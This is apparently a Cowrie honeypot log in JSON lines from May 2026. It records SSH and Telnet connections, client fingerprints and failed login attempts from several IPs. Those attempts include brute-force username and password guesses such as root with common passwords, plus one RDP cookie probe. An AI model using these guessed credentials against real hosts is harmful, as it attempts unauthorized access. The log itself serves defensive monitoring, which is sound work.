{"eventid":"cowrie.login.failed","username":"lyle","password":"lyle1234","message":"login attempt [lyle/lyle1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:22.571823Z","src_ip":"213.209.159.56","session":"e1b478f17332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lyle","password":"lyle12345","message":"login attempt [lyle/lyle12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:23.658130Z","src_ip":"213.209.159.56","session":"e1b478f17332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:24.744678Z","src_ip":"213.209.159.56","session":"e1b478f17332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52384,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b3ae046af37","protocol":"telnet","message":"New connection: 192.119.13.58:52384 (10.17.0.5:23) [session: 6b3ae046af37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:27.869582Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":57796,"dst_ip":"10.17.0.5","dst_port":22,"session":"360579fbbbf9","protocol":"ssh","message":"New connection: 103.27.238.120:57796 (10.17.0.5:22) [session: 360579fbbbf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:34.844453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:34.850007Z","src_ip":"103.27.238.120","session":"360579fbbbf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:35.116504Z","src_ip":"103.27.238.120","session":"360579fbbbf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kinder","message":"login attempt [root/kinder] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:35.915386Z","src_ip":"103.27.238.120","session":"360579fbbbf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58666,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ace7e5dde30","protocol":"telnet","message":"New connection: 192.119.13.58:58666 (10.17.0.5:23) [session: 9ace7e5dde30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:36.446014Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:37.184350Z","src_ip":"103.27.238.120","session":"360579fbbbf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.83999300003052,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:56.976956Z","src_ip":"192.119.13.58","session":"76c6e58f9ce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.060959815979004,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:59.587008Z","src_ip":"192.119.13.58","session":"888603e770f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.57134485244751,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:06.440773Z","src_ip":"192.119.13.58","session":"6b3ae046af37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54729,"dst_ip":"10.17.0.5","dst_port":22,"session":"9417b223757d","protocol":"ssh","message":"New connection: 152.42.212.128:54729 (10.17.0.5:22) [session: 9417b223757d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:06.819027Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:06.823768Z","src_ip":"152.42.212.128","session":"9417b223757d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:06.829032Z","src_ip":"152.42.212.128","session":"9417b223757d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.255781173706055,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:18.701510Z","src_ip":"192.119.13.58","session":"9ace7e5dde30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":36676,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9e6961b5fbb","protocol":"ssh","message":"New connection: 103.173.227.57:36676 (159.203.135.109:22) [session: f9e6961b5fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:34.454877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:34.460441Z","src_ip":"103.173.227.57","session":"f9e6961b5fbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:34.696553Z","src_ip":"103.173.227.57","session":"f9e6961b5fbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnhtktw","message":"login attempt [root/cnhtktw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:35.405216Z","src_ip":"103.173.227.57","session":"f9e6961b5fbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:36.644204Z","src_ip":"103.173.227.57","session":"f9e6961b5fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":52748,"dst_ip":"10.17.0.5","dst_port":22,"session":"d67e37822e0c","protocol":"ssh","message":"New connection: 185.92.182.129:52748 (10.17.0.5:22) [session: d67e37822e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:39.567049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:39.572951Z","src_ip":"185.92.182.129","session":"d67e37822e0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:39.626127Z","src_ip":"185.92.182.129","session":"d67e37822e0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123,./","message":"login attempt [root/qwe123,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:39.791888Z","src_ip":"185.92.182.129","session":"d67e37822e0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:40.827959Z","src_ip":"185.92.182.129","session":"d67e37822e0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46156,"dst_ip":"10.17.0.5","dst_port":23,"session":"680d4321ca20","protocol":"telnet","message":"New connection: 192.119.13.58:46156 (10.17.0.5:23) [session: 680d4321ca20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:58:59.493626Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":41328,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d45a4819270","protocol":"ssh","message":"New connection: 103.172.78.219:41328 (159.203.135.109:22) [session: 4d45a4819270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:13.059041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:13.063905Z","src_ip":"103.172.78.219","session":"4d45a4819270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:13.320065Z","src_ip":"103.172.78.219","session":"4d45a4819270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"violetta","message":"login attempt [root/violetta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:14.092798Z","src_ip":"103.172.78.219","session":"4d45a4819270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:15.351201Z","src_ip":"103.172.78.219","session":"4d45a4819270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.492024421691895,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:34.985552Z","src_ip":"192.119.13.58","session":"680d4321ca20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":46554,"dst_ip":"159.203.135.109","dst_port":22,"session":"947a79c18675","protocol":"ssh","message":"New connection: 102.223.92.101:46554 (159.203.135.109:22) [session: 947a79c18675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:36.581118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:36.585632Z","src_ip":"102.223.92.101","session":"947a79c18675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:36.757404Z","src_ip":"102.223.92.101","session":"947a79c18675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456789.","message":"login attempt [root/A123456789.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:37.477857Z","src_ip":"102.223.92.101","session":"947a79c18675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36014,"dst_ip":"10.17.0.5","dst_port":23,"session":"99bc153bb5a4","protocol":"telnet","message":"New connection: 192.119.13.58:36014 (10.17.0.5:23) [session: 99bc153bb5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:37.533226Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:38.652846Z","src_ip":"102.223.92.101","session":"947a79c18675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52428,"dst_ip":"10.17.0.5","dst_port":23,"session":"822c73a05441","protocol":"telnet","message":"New connection: 192.119.13.58:52428 (10.17.0.5:23) [session: 822c73a05441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:41.410901Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54900,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c534b94740a","protocol":"telnet","message":"New connection: 192.119.13.58:54900 (10.17.0.5:23) [session: 5c534b94740a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:49.748642Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":36372,"dst_ip":"159.203.135.109","dst_port":22,"session":"d964d33f7697","protocol":"ssh","message":"New connection: 109.237.96.109:36372 (159.203.135.109:22) [session: d964d33f7697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:53.590827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:53.595617Z","src_ip":"109.237.96.109","session":"d964d33f7697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:53.688638Z","src_ip":"109.237.96.109","session":"d964d33f7697","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bogdan","message":"login attempt [root/bogdan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:53.969733Z","src_ip":"109.237.96.109","session":"d964d33f7697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54624,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e839474f1ad","protocol":"telnet","message":"New connection: 192.119.13.58:54624 (10.17.0.5:23) [session: 7e839474f1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:54.718357Z"}
{"eventid":"cowrie.session.closed","duration":0.0053882598876953125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:54.723590Z","src_ip":"192.119.13.58","session":"7e839474f1ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:59:55.066627Z","src_ip":"109.237.96.109","session":"d964d33f7697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38960,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eeae041bc88","protocol":"telnet","message":"New connection: 192.119.13.58:38960 (10.17.0.5:23) [session: 4eeae041bc88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:03.646415Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":52674,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae4b290eeb16","protocol":"ssh","message":"New connection: 87.251.79.125:52674 (159.203.135.109:22) [session: ae4b290eeb16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:04.280188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:04.291341Z","src_ip":"87.251.79.125","session":"ae4b290eeb16","protocol":"ssh"}
